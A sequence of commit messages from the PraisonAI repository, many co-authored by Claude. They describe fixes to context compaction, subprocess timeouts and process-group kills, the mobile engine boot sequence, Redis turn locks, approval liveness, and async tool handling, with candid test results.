mutations killed).
They also set PRAISONAI_KEYCHAIN_SERVICE, not just PRAISONAI_DESKTOP_HOME:
the home var moves the data directory but not the system keyring, so a test
run against the default service overwrites the key the developer is actually
using and the keychain keeps nothing to restore. That is not hypothetical --
it happened while this test was being written.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The anti-thrashing guard in ContextCompactor could never be released. Once
`_low_savings_streak` reached `max_consecutive_low_savings` (default 2), both
`compact()` and `needs_compaction()` returned early — and the only line that
clears the streak sits *after* a compaction actually runs, which those early
returns skip. The compactor therefore stopped compacting permanently.
That is the opposite of the guard's purpose: it exists to avoid burning a
summarisation call on a conversation that will not shrink, but the effect was
that long-running agents — the ones auto-compaction exists for — silently
stopped compacting and let their context grow without bound.
Measured on a latched compactor, input it would otherwise shrink 2991 → 125
tokens (96%) came back untouched, indefinitely, while an identical fresh
compactor handled it. In a simulated 40-round session, compaction fired 4
times and then never again, with context climbing to 1172 tokens against a
300-token limit.
Fix: the guard can now go stale. `_should_skip_low_savings()` releases it once
the conversation has grown 25% beyond the size it gave up at, on the grounds
that materially more content is new evidence and the earlier verdict no longer
applies; the streak is then reset so the full allowance returns. Both the sync
and async paths, plus `needs_compaction()`, route through that one helper, and
the bookkeeping is likewise consolidated into `_record_savings_outcome()` so
the three sites cannot drift apart again.
Anti-thrashing itself is unchanged: an unchanged or marginally-grown
conversation is still skipped, and `was_skipped_due_to_low_savings` still
reports it.
Worth being precise about the limit: this converts "permanently disabled" into
"periodically re-tested". Context can still sit above the ceiling between
releases — pinning it to the limit would mean compacting on every turn, which
is the thrashing the guard is there to prevent.
Tests: 11 new. Confirmed they catch the defect rather than merely passing
alongside it — reverting the staleness check turns 8 of them red. Coverage
spans the guard holding on an unchanged and a marginally-grown conversation,
releasing on real growth, matching a fresh compactor's output once released,
resetting the streak, agreeing across `needs_compaction()`/`compact()`, the
end-to-end long session, and all three affected strategies.
Verified: `pytest tests/unit -k compact` — 158 passed, 6 failed. Those 6 are
identical to the pre-change baseline on this tree (confirmed by stashing).
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014ZfTXTzdudKb4oswNSHpHw
* fix(bot): bound gateway subprocess calls so a hung command cannot stall the loop
Four gateway paths shelled out with no timeout. The dispatcher calls them
from inside the asyncio event loop, so a child blocked on stdin — a git
credential prompt, an index.lock, a confirmation prompt — stopped the whole
gateway serving, indefinitely and silently.
Adds praisonai_bot/_guarded_subprocess.run_guarded: a drop-in wrapper that
always bounds the call and, on timeout, returns a CompletedProcess with
returncode 124 and a *diagnosis* in stderr rather than raising. Existing
`returncode == 0` call sites therefore keep working without growing an
exception path.
Two defences, in order:
- stdin is /dev/null and GIT_TERMINAL_PROMPT=0 / GCM_INTERACTIVE=never /
DEBIAN_FRONTEND=noninteractive are layered under the caller's env, so the
common cases fail fast instead of blocking. The timeout is a backstop.
- On timeout the partial output is matched against known stall signatures
and the caller gets an actionable line — "credential prompt", "git lock
contention", "confirmation prompt, re-run with --yes", "SSH host-key
prompt" — instead of a bare elapsed time.
Adopted at the four sites that can block the event loop:
- gateway/kanban_dispatcher.py::_run_git — the worst of them, reached from
dispatch_once and the worktree integration path
- kanban/sqlite_store.py — git rev-parse on the create_task path
- gateway/preflight.py — launchctl on the startup path
- gateway/pairing.py — icacls while hardening the pairing secret
Git keeps a deliberately generous 300s ceiling (PRAISONAI_KANBAN_GIT_TIMEOUT)
because worktree add and merge on a large repository are legitimately slow;
the aim is to bound an indefinite hang, not to fail slow-but-healthy work.
Other commands use 120s (PRAISONAI_SUBPROCESS_TIMEOUT).
Scope is deliberately narrow. The ~66 remaining subprocess.run sites without
timeouts are in daemon/ and CLI paths, where a hang stalls one user command
rather than the gateway; those are worth a separate pass.
Tests: 32 new, covering timeout-without-raising, stdin EOF, each diagnosis
signature, env layering and precedence, unusable env overrides, and that
_run_git routes through the guard.
Verified: tests/unit/kanban + tests/unit/gateway + the new file — 625 passed,
22 failed. Those 22 are identical to the pre-change baseline on this tree
(confirmed by stashing); two further files fail to collect because the
optional `websockets` package is absent here. Neither is related to this
change.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014ZfTXTzdudKb4oswNSHpHw
* fix(bot): kill the whole process group on timeout, and surface a timed-out repo probe
Addresses two findings from Greptile's review of this PR.
1. Descendants survived the timeout (P1)
subprocess.run(timeout=) kills only the *direct* child, which is not enough
for the commands this guard wraps — git routinely spawns credential helpers
and transport processes, and a stuck credential helper is the motivating
failure. Confirmed against CPython 3.11's subprocess.run:
except TimeoutExpired as exc:
process.kill()
if _mswindows:
exc.stdout, exc.stderr = process.communicate() # no timeout
else:
process.wait()
On POSIX the call returns but orphans the grandchild. On Windows that
communicate() has no timeout and blocks until every descendant releases the
inherited stdout/stderr pipe — reintroducing the exact indefinite hang this
module exists to prevent, on a platform the gateway supports.
run_guarded now moves off subprocess.run: it starts the command in its own
process group (start_new_session on POSIX, CREATE_NEW_PROCESS_GROUP on
Windows), kills the whole group on timeout (killpg / taskkill /F /T), then
reaps with a *bounded* second wait. If a descendant somehow survives and
still holds the pipe, the captured output is abandoned with a warning rather
than blocking the caller — returning late is the failure mode being fixed.
The same cleanup runs on BaseException, so a KeyboardInterrupt cannot leave
a live child behind either.
`check` is now handled explicitly (matching subprocess.run) since Popen does
not implement it. A timeout still returns rather than raising, so callers
branching on returncode are unaffected.
2. A timed-out repo probe silently disabled worktree isolation
_is_git_repo answers False on timeout, which is correct — a slow path must
never fail the create — but the caller then downgrades the task to the
shared workspace. Losing worktree isolation silently is an operator-visible
concern, so a timeout (returncode 124) is now distinguished from a genuine
"not a repository" and logged at WARNING with the diagnosis. The return
value is deliberately unchanged.
Tests: 5 new (37 total). Two are real regression tests for the group kill —
one asserts run_guarded returns promptly despite a descendant holding the
pipe, the other asserts the grandchild is actually dead by giving it a
marker file it can only write if it outlived the kill. Plus check= semantics.
Also fixes a syntax error introduced in the previous commit: a backslash
inside an f-string expression, which is illegal before Python 3.12 while
this package supports 3.10+.
Verified: tests/unit/kanban + tests/unit/gateway + the new file — 630 passed,
22 failed, matching the pre-change baseline on this tree exactly.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014ZfTXTzdudKb4oswNSHpHw
* fix(bot): reject non-finite timeout overrides that would restore an unbounded wait
From CodeRabbit's review. `float("inf")` parses cleanly and satisfies a bare
`value > 0` check, so PRAISONAI_SUBPROCESS_TIMEOUT=inf (or Infinity, +inf,
1e400) was accepted and handed back as the timeout — silently reinstating the
exact indefinite wait this module exists to remove. Verified:
>>> float("inf") > 0
True
Both resolvers now require math.isfinite() as well as a positive value:
_default_timeout in _guarded_subprocess and _git_timeout in the kanban
dispatcher. `nan` already failed the comparison, but is covered explicitly so
the intent is not left to a subtlety of IEEE comparison.
Tests: 11 new (48 total), parametrised over inf/Infinity/+inf/1e400/nan for
both resolvers. Confirmed they catch the bug rather than merely passing —
reverting the isfinite guard turns 4 of them red.
One of the new tests was initially written as run_guarded(..., timeout=0.3)
with the env var set, which would have passed even with the bug present
because an explicit argument bypasses the env path entirely. Rewritten to
assert on the resolver directly.
Also adds class-level docstrings to the test suite, stating the invariant
each group pins. Per-method docstrings restating self-documenting names like
test_hanging_command_returns_instead_of_blocking were deliberately not added.
CodeRabbit's other finding (process-group termination) was already fixed in
40d37c88a; its review ran against the earlier commit c9964dbe0.
Verified: tests/unit/kanban + tests/unit/gateway + the new file — 641 passed,
22 failed, matching the pre-change baseline on this tree exactly.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014ZfTXTzdudKb4oswNSHpHw
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Two P1 defects in the #4635 wiring:
- Reopening a chat appended raw <p> rows straight to the transcript while
render/nodes stayed empty, so the next token reconciled the new turn against
an empty render and inserted it ABOVE the history, and New chat could not
remove rows it never keyed. History is now a reconciled PREFIX built with
stable `history:N` ids, painted through the same reconcile/applyOps path and
dropped on New chat.
- The chat-list load was a floating `void (async ...)()` with no rejection
handler; a StoragePort rejection reached the global crash handler and
replaced the whole app with the fatal screen. It now catches locally and
paints an in-section alert.
Adds two end-to-end tests: a message sent after reopening lands below the
history, and a storage failure while the chat list loads stays local.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Two P1 defects Greptile flagged on #4676:
- Reopening a chat appended untracked <p> nodes and reset render to
empty, so the next turn reconciled from nothing and inserted rows
ABOVE the history, which itself could never be reconciled again.
History is now built as real Rows and prepended to every reconcile,
so a follow-up turn lands below it and survives the diff.
- showRoute computed the focus target but never applied it and always
treated navigation as a push. Focus now moves to the new screen's
heading, push/pop is derived from stack depth, and Back restores
focus to the control that opened the screen.
Adds fake-dom focus()/activeElement/isConnected and two mount tests
(send-after-reopen ordering, route-change focus + Back restore).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
The nine unreachable UI subsystems (composer, settings, i18n locale+bundle,
transcript scroll, a11y focus+names, layout insets, chat list) are now imported
directly by app/src/main.ts rather than only by their own tests. All five
acceptance criteria are met: Settings paints, a conversation can be reopened,
the transcript follows the stream with jump-to-latest, the locale is detected
(making the #4607 RTL fix reachable), and the composer is backed by composer.ts.
Five new end-to-end tests drive the real mount() through the fake DOM,
including "tapping Settings paints the settings screen".
npm run check: typecheck clean, boundaries 142 files no violations, 1300 tests pass.
Co-authored-by: Mervin Praison <[email protected]>
The platform-based default flipped native (tauri) to the in-process
praisonai-ts engine, but that engine's module is absent from the shipping
webview (build-webview.mjs bundles only main.ts; the engine reaches
praisonai-ts via a runtime import outside dist, #4437). On a real device its
first turn rejects "unavailable in this build" with no recovery -- worse than
the "not answering" warning it replaced, and the brick registry.ts keeps the
engine out of the picker to avoid. Platform["kind"] also cannot tell desktop
Tauri (cargo tauri dev) from a phone, so the ternary stranded desktop/dev too.
Default stays remote-http on every platform for now; the exported
defaultEngineIdFor seam is kept for when #4437 makes the engine shippable.
Co-authored-by: Mervin Praison <[email protected]>
A fresh install on a phone defaulted `engineId` to `remote-http` at
`http://127.0.0.1:8765`, which is nothing a device can reach and is a
cleartext localhost address iOS ATS and Android refuse -- so first launch
opened to a "not answering" warning with no way to fix it (Settings is
unreachable, #4635). Default to the in-process `praisonai-ts` engine on
native and keep `remote-http` for desktop/dev; the persisted setting still
wins over either, so this only decides the first launch.
Co-authored-by: MervinPraison <[email protected]>
main was RED: `npm run check` exited 1 with 17 failures, all in
app/src/main.test.ts.
#4647 made the health probe a hard boot gate. It added tests for boot.ts,
registry.ts and engine.ts, and never ran main.test.ts -- which mounts the
whole app against a fake HTTP with no /health route. Driving mount() directly:
no /health handler -> "PraisonAI could not start: 404"
/health says ok -> "PraisonAI New chat Settings Send"
That is not only a test problem. On a phone with no desktop engine to reach,
the app now would not open at all -- and the user could not correct the
address, because the address is changed in Settings and Settings is inside
the app that will not start. #4638 asked for a named failure WITH a bounded
retry and warned explicitly that boot must not hang on a dead engine;
`retryable` was computed, carried all the way to boot.ts:167, and then read by
nothing.
The line is drawn where readiness.ts already draws it:
- PERMANENT (`retryable: false` -- a version mismatch) still refuses to boot.
Waiting will not fix it, so booting into it only defers the same failure to
the user's first message. The engine is disposed, as before.
- RETRYABLE (transport, unhealthy, malformed) hands the engine over with its
unreadiness attached. The app starts; main.ts renders a warning notice into
the transcript and announces it assertively, because the user is about to
type into something that cannot reply yet. The engine is NOT disposed -- it
is the one the app will use when the remote comes up.
Everything #4647 was for is kept: the probe still runs at selection, a 200
with {"ok": false} is still not readiness, and the reason still has a name.
Only the verdict on a recoverable failure changed.
Three tests from #4647 asserted the hard gate and are rewritten to the new
contract rather than deleted, each keeping its original intent and gaining the
pair that makes the boundary visible: a permanent unreadiness still refuses, a
retryable one boots and reports, a permanently refused engine is disposed and
a retained one is not until the app is.
1295 tests on Node 22.23 and 24.12. Seven mutations -- including reinstating
the hard gate -- all die.
Refs #4638
* fix: re-apply engine packages when the requirement drifts (fixes#4668)
The desktop venv is provisioned once, on first run, and never revisited, so
a library fix shipped in praisonaiagents never reaches existing installs and
raising ENGINE_PACKAGES changes only what new installs get.
Record what was installed in a .praisonai-packages stamp beside the venv, and
on each launch compare it against the current ENGINE_PACKAGES; when they
differ, re-run the single install step (uv is near-instant when nothing
changed) and rewrite the stamp. A missing stamp is treated as drift so
pre-stamp installs get the current set once. The stamp lives inside the venv
so deleting the venv also clears the record. Failure still starts the engine,
letting the UI report the version actually installed.
Co-authored-by: MervinPraison <[email protected]>
* fix: reconcile only the venv we own, and never adopt a stale engine (#4668)
Address the three reviewer findings on package reconciliation:
- Wrong interpreter (Greptile P1): reconcile only when the resolved
interpreter is data/venv's own python; a PRAISONAI_PYTHON override or
checkout venv is left untouched instead of installing into (or failing
against) an unrelated user-data venv.
- Adoption bypass (Greptile P1): when packages were actually installed,
the survivor is running the old code, so the health probe is forced
false -- reclaim kills it and clears the lock (PID-reuse guard intact)
and a fresh engine that loaded the new packages is started.
- Stuck "updating…" label (Greptile P2): the label is now set and
cleared inside reconcile around the install only, so a no-drift launch,
a non-owned interpreter, or a later failure never strands the tray.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* feat: add headless CLI to drive the desktop engine (fixes#4669)
Adds src/praisonai-desktop/cli.py, a stdlib-only driver that speaks to the
same loopback routes the Tauri app does, so desktop bugs can be reproduced
from a terminal, over SSH, or in CI instead of only through the GUI.
- engine start : run the engine, print the announced port
- engine health : versions, pid, data dir, port (found via the lockfile)
- chat : one turn streamed to stdout; a tools-ran-but-no-text turn
(the 1.7.1 failure) is named rather than shown as blank
- doctor : installed vs required praisonaiagents, reading the floor
from src-tauri/src/provision.rs so it cannot drift
No new engine code and no dependencies: it reuses engine/server.py for the
data dir, lockfile format and version lookup. Adds engine/test_cli.py.
Co-authored-by: MervinPraison <[email protected]>
* fix: isolate CLI chat sessions, answer approval gate, verify engine identity
Addresses reviewer feedback on the headless desktop CLI:
- Send `session` (=chat_id) so each --chat-id gets its own cached agent
rather than sharing the engine's default session state.
- Answer approval_request over /approve so a tool-enabled turn does not
block on the gate for the full timeout; --approve to allow, else deny.
- Verify /health protocol version in _live_port so a recycled port answered
by another loopback service is not adopted as the engine.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
The core wiring (agent.py auto-builds RateLimiter from max_rpm, YAML
parser promotes max_rpm to a live limiter) is already present on main.
This closes the remaining verification gaps the issue flagged:
- Strengthen the YAML test so it asserts a live RateLimiter with the
correct rpm, not just the dead `_yaml_max_rpm` metadata attribute.
- Add a behavioural regression test proving the auto-wired limiter
actually throttles (injectable clock: 2nd acquire() waits ~60s under
max_rpm=1), covering the issue's key behavioural acceptance criterion.
No production code change; existing fix confirmed via reproduction.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat: add EvalPort adapter for praisonaiagents.eval (fixes#4275)
Dependency-free framework-neutral interop for the eval package. Adds
to_evalport()/from_evalport() (EvalPackage <-> EvalPort Suite) and
report_to_evalport() (EvalReport -> EvalPort ResultSet), mirroring the
existing harness_eval.py plain-dict pattern. No new dependency on
evalport-sdk; callers validate the emitted dicts with openeval themselves.
Co-authored-by: Mervin Praison <[email protected]>
* fix: prevent EvalPort timeout/metadata round-trip corruption
Emit native timeout_seconds as a dedicated top-level EvalPort field
instead of stuffing it into metadata via setdefault, which silently
clobbered a user-supplied metadata['timeout_seconds'] key and lost the
native value on round trips. Import prefers the top-level field and
falls back to metadata for external suites, without mutating metadata.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The gateway keyed each session on the raw platform user id, so a
platform-side id change for the same human (WhatsApp JID->LID migration,
a number<->UUID alias flip) silently forked the conversation, orphaning
history, memory and run-state.
Core already shipped IdentityCanonicalizerProtocol (canonicalize(platform,
raw_user_id) -> str) but nothing consumed it. Reuse that existing seam
instead of adding a new API:
- BasePlatformAdapter.canonicalize() default identity, so an adapter *is*
an IdentityCanonicalizerProtocol.
- Add identity_canonicalizer to the GatewayRuntimeSeams carrier.
- BotSessionManager applies the canonicalizer in _storage_key() before the
link/pairing resolver; None (default) is the identity function so
behaviour is byte-for-byte unchanged. Fail-open: any error/empty result
falls back to the raw id so a buggy canonicalizer never breaks keying.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Add BotOS.handoff() to re-home an in-progress conversation onto a fresh
thread/DM on another platform ("start on one device, continue on another").
It orchestrates existing gateway primitives — DeliveryRouter.create_thread
to open the destination thread, and new BotSessionManager.export_history /
seed_history to move the live transcript onto the destination session — plus
an optional seed message and origin breadcrumb. Returns a lightweight
ThreadRef carrying the destination session key and a graceful non-ok status
for unsupported/unreachable targets (never raises).
Wrapper-layer only: no Agent params, no new heavy module, no core change.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: add natural-language schedule expressions to parser (fixes#4662)
Extend the core parse_schedule() with a small NL->cron pass so users can
write "weekdays at 9am", "every day at 9am", "every monday 9am" and "at 9am"
instead of raw cron. Recurring day-of-week/clock forms map to cron; a bare
clock time maps to a one-shot next occurrence. All existing forms are
unchanged and no new hard dependency is added.
Co-authored-by: MervinPraison <[email protected]>
* fix(scheduler): honor timezone for one-shot clock times and support 'daily at <time>'
- _clock_to_next_at now resolves the clock time in the schedule's timezone
so "at 9am" with tz="America/New_York" fires at 09:00 local, not 09:00 UTC.
- Add "daily" to the natural-language filler set so "daily at 9am" parses to
the daily cron "0 9 * * *" instead of raising ValueError.
- Add regression tests for the daily form and the timezone-aware one-shot
(both parse output and is_due evaluation).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: report real OpenAI usage tokens from gateway /v1 endpoints (fixes#4656)
Map the agent's last-turn token metrics (last_token_metrics) into the
OpenAI usage block for /v1/chat/completions and /v1/responses instead of
hardcoded zeros. Streaming honors stream_options.include_usage by emitting
a final usage-only chunk. Buffered streaming and OpenAI tools passthrough
are intentionally left out to avoid a gateway hot-path rewrite / surface
expansion per AGENTS.md.
Co-authored-by: MervinPraison <[email protected]>
* fix: snapshot OpenAI usage atomically to prevent cross-request misattribution
Reviewers (Greptile/Qodo P1) flagged that _usage_for(agent) read the shared,
mutable llm.last_token_metrics after dispatch. With one Agent serving
overlapping sessions on the single gateway event loop, a concurrent turn could
overwrite that reference before the response was built — most acutely in the
streamed usage path where the SSE generator suspends between frames — causing
token counts (and billing) to be attributed to the wrong request.
_dispatch now returns (reply, usage), snapshotting the per-turn metrics into a
plain-int dict immediately after the turn completes with no intervening await.
All call sites (chat, streamed chat, responses) consume the bound snapshot;
MCP tools/call ignores it. Adds a unit test binding the snapshot to its turn and
a streaming regression test proving the usage frame survives a concurrent
overwrite (fails on the pre-fix inline read).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
* fix: snapshot OpenAI usage inside the turn's own context to close sync-thread race
Greptile/Qodo P1 (line 134): the prior "no intervening await" snapshot only
orders event-loop coroutines. The sync-only agent fallback runs agent.chat in
a worker thread, so a concurrent turn on another thread could overwrite the
shared llm.last_token_metrics between the turn completing and the handler
reading it — misattributing token usage/billing.
- _dispatch_agent_turn now accepts on_complete(agent), invoked synchronously in
the SAME context that produced the result (inside the worker thread for sync
agents; on the loop tick with no intervening await for async agents), before
the context is handed back — so the snapshot is bound to this turn.
- _dispatch passes an on_complete capture callback instead of reading usage
after the await; keeps the (reply, usage) contract.
- Backward compatible: on_complete defaults to None; existing call sites unchanged.
- Regression test asserts the sync worker-thread snapshot ordering against the
real WebSocketGateway._dispatch_agent_turn.
21 -> 22 gateway endpoint tests pass; agents gateway_server dispatch tests green.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: bind gateway approvals to turn liveness (fixes#4598)
Bind a pending gateway approval to the run generation / session of the
turn that requested it, so a superseded or stopped turn cannot leave a
turn parked indefinitely on a blocking approval wait, and a resolution
that arrives after the turn is gone cannot fire a stale tool or deliver
a reply for an abandoned turn.
- core: ApprovalRequest gains an optional no-op ``liveness`` predicate.
- gateway ExecApprovalManager: register() accepts optional
session_id/run_generation; cancel_for_generation() fail-closes pending
futures and marks the generation superseded; resolve() drops a stale
resolution (fail-closed). Unbound requests behave exactly as today.
- gateway ApprovalBackend plumbs session_id/run_generation through.
- SessionRunControl gains an optional on_supersede callback fired on
/stop and interrupt so the gateway can cancel the old turn's approvals.
Backward compatible: no new user config; the binding is a no-op when a
request carries no session/generation.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
* fix: wire approval turn-liveness into production + harden register (#4598)
Address reviewer findings on PR #4600 (Greptile, CodeRabbit):
- Wire the supersede callback in production: telegram bots now build
SessionRunControl with on_supersede=make_approval_supersede_callback(),
bridging /stop and interrupt to ExecApprovalManager.cancel_for_generation
so an approval-parked turn actually unblocks (was previously dead code).
- Fail-close register(): if a turn's generation was already superseded
(TOCTOU with /stop), deny the future immediately instead of parking it.
- Validate run_generation: coerce/drop a non-integer binding to unbound so
a bad value can never silently make an approval un-cancellable.
- Tests: exercise the production wiring end-to-end (stop -> cancel), plus
register-after-supersede and non-integer generation; resolve RUF059.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): probe engine health at boot so an unhealthy engine is refused with a name, not mid-turn (fixes#4638)
probeHealth and readiness.ts had no non-test caller: nothing ran the
readiness check the module exists for, so a broken or still-starting
engine surfaced as a transport error part-way through the user's first
answer instead of a named failure at boot.
Wire the probe in at engine selection, respecting the seam:
- add an optional `probe?: () => Promise<Readiness>` to EngineChoice,
run in selectEngine after the protocol/id checks; a non-ready verdict
is a named selection failure carrying reason/detail/retryable, and the
refused engine is disposed like a protocol mismatch already is
- the remote-http choice in registry.ts supplies probeHealth with its
own http/baseUrl (boot cannot and must not know them); the in-process
engine has no remote and supplies no probe
- boot forwards retryable so a caller can poll a still-starting engine
Boot-only for now; the resume/connection-manager path is separate.
Co-authored-by: MervinPraison <[email protected]>
* fix(mobile): bound the boot health probe with a deadline and pin its registry wiring
The probe runs before the app mounts, so a stalled /health -- accepted but
never answered, or a body that never closes -- would hang selectEngine,
createApp and the whole mount forever (the AbortController was created but
never aborted). probeHealth now aborts off a bounded deadline and classifies
the timeout as retryable transport, and releases the reader lock on any exit.
Also adds registry-level tests driving the REAL probe enginesFor builds, so
dropping or misconfiguring its `probe` wiring now fails the suite.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(mobile): offer the in-process praisonai-ts engine from the composition root (fixes#4637)
main.ts never supplied `createInProcess`, so `enginesFor` only ever offered
ENGINE_REMOTE_HTTP and the whole of engines/src/praisonai-ts/ was unreachable
from the application -- the reason praisonai-mobile exists as a package.
main.ts now supplies the factory via `appEngines`, an extracted+exported
function so a test asserts the engine is offered rather than that a literal
appears in mount(). The praisonai `Agent` is loaded through a runtime-computed
dynamic import so neither tsc nor esbuild pulls the upstream graph in: its bare
crypto/events imports are import-time fatal (#4437) and its sources do not
typecheck under this config -- exactly the invariant agent-api.ts documents.
The remote engine stays the default and the sole picker choice, so nothing
bricks; the bundle stays 48.9kB with 0 fatal builtins.
Co-authored-by: MervinPraison <[email protected]>
* fix(mobile): make the in-process engine's lazy import fail recoverably
The in-process praisonai-ts factory resolves its agent module through a
runtime-computed dynamic import. Where praisonai-ts is not on disk (the
shipping webview bundles only dist/, #4437) that import rejects with an
opaque "cannot find module" from deep inside the engine's run loop.
Wrap the import and re-throw a plain Error, which engine.ts's existing
catch turns into a single recoverable `error` event -- the named,
on-screen failure engines.ts argues for, not a crash. This does NOT add
the engine to the shipping picker (registry.ts still keeps it out of
engineId.choices); it makes the one path that offers the factory honest.
Adds a composition-root test that constructs the in-process engine and
drives run() to prove create() never throws and the import failure
arrives as ["start", "error"], not an unhandled rejection.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: honour gateway.turn_lock.backend='redis' with distributed lock (fixes#4655)
Implements the wrapper-side RedisTurnLock (LockMap-compatible) plus a
build_turn_lock factory that selects the backend from TurnLockConfig, and
wires BotOS to honour the config where the in-process LockMap was built
unconditionally. Redis outage fails open (local serialisation + a
DegradedCapabilityRegistry entry) rather than silently downgrading.
Co-authored-by: MervinPraison <[email protected]>
* fix: wire redis turn lock into gateway + lease renewal, safe teardown (#4655)
- Gateway now honours turn_lock.backend='redis': _stamp_turn_lock_map builds
the backend via build_turn_lock from config (push.redis) and wires a
distributed lock unconditionally (even a single channel/no resolver), so the
config is no longer inert. Local backend keeps today's no-op behaviour.
- RedisTurnLock: renew the lease at ~ttl/3 with an owner-checked compare-and-
PEXPIRE so a turn longer than ttl never loses cross-replica exclusivity.
- _RedisLease.__aenter__ now releases the local lock on any failure/cancellation
(BaseException), preventing a permanently-wedged session on BotOS.stop.
- Removed the dead deadline branch; the poll loop is bounded by the holder's TTL.
- BotOS forwards degraded_registry to build_turn_lock so outages surface in
health()/doctor.
- Tests: FakeRedis models px TTL expiry + PEXPIRE; added coverage for renewal,
expired-lease reclaim, owner-checked release, in-process serialisation during
a Redis outage, and gateway redis-backend wiring without a resolver.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(conditions): fail safe on an unresolved comparison operator instead of falling through to truthy
Check the original condition template for a leftover comparison
operator, not the post-substitution text. A placeholder whose
substituted value happens to contain '>', '<', '==', etc. was being
misread as an unresolved comparison and forced to False, even though
the condition template itself had no operator (caught by coderabbitai
and greptile review on this PR).
Adds a regression test for that case.
* fix(conditions): skip comparison parsers when template has no operator
A plain flag like "{{flag}}" whose substituted value happens to look like
a comparison (e.g. "5 < 3" or "a == b") was mis-parsed by the numeric and
string-equality parsers before the template-based operator guard could run,
returning the comparison result instead of the documented truthy-string
behavior. This could route AgentFlow/Task branches incorrectly.
Gate all comparison parsing (and the fail-safe fallback) on whether the
original condition template contains a comparison operator. Plain flags
now always fall through to the truthy check regardless of their value.
Adds regression tests for placeholder values that parse as numeric ("5 < 3")
and equality ("a == b") comparisons.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: async-tool coroutine leak, async/sync tool-loop parity, hook-registry races (fixes#4633)
Gap 1: the sync OpenAI-native tool path (_execute_tool_impl) never awaited
async tool functions, handing the model a bare coroutine object instead of
the real result. Await any coroutine returned by BaseTool.run / LangChain
.run / CrewAI ._run / plain functions via the existing
_run_async_in_sync_context bridge.
Gap 2a: get_response_async now accepts and honours parallel_tool_calls,
dispatching independent tool calls concurrently via asyncio.gather (mirroring
the sync create_tool_call_executor(parallel=True)) while preserving call
order for message building. Previously the parameter was silently absorbed by
**kwargs.
Gap 2b: the async tool-resolution path (execute_tool_async) now shares MCP
resolution and hallucinated-name self-repair with the sync path via new
_resolve_mcp_tool_result / _self_repair_tool_name helpers, and returns the
same corrective, model-readable error (available tools + closest match) on a
miss instead of a bare "not found".
Gap 3b: HookRegistry now guards register/unregister/clear/enable/disable and
snapshots the hook list in get_hooks under an RLock, eliminating the
"list changed size during iteration" race on the process-wide default
registry.
Gap 3a (per-agent display-callback registry) intentionally deferred: a proper
fix requires threading agent identity through the public
register_display_callback API and every display callsite, expanding surface
area against the lightweight-core mandate; the existing "first mode wins"
guard already mitigates the primary clobber.
* fix: async MCP timeout normalization parity + drain parallel tool siblings
- Async path (_execute_tool_async_impl) now applies the shared
_normalize_mcp_result so an MCP timeout classifies as a retryable
{"error":..., "timeout": True} dict instead of being handed to the
model as a bare "Error: ..." string (Greptile P1, valid parity gap).
- Extracted _normalize_mcp_result to a shared staticmethod so sync and
async paths cannot diverge again.
- Parallel async tool dispatch uses asyncio.gather(return_exceptions=True)
and re-raises the first error only after all siblings settle, so a
single failing tool no longer cancels/orphans in-flight sibling
coroutines while preserving fail-fast propagation.
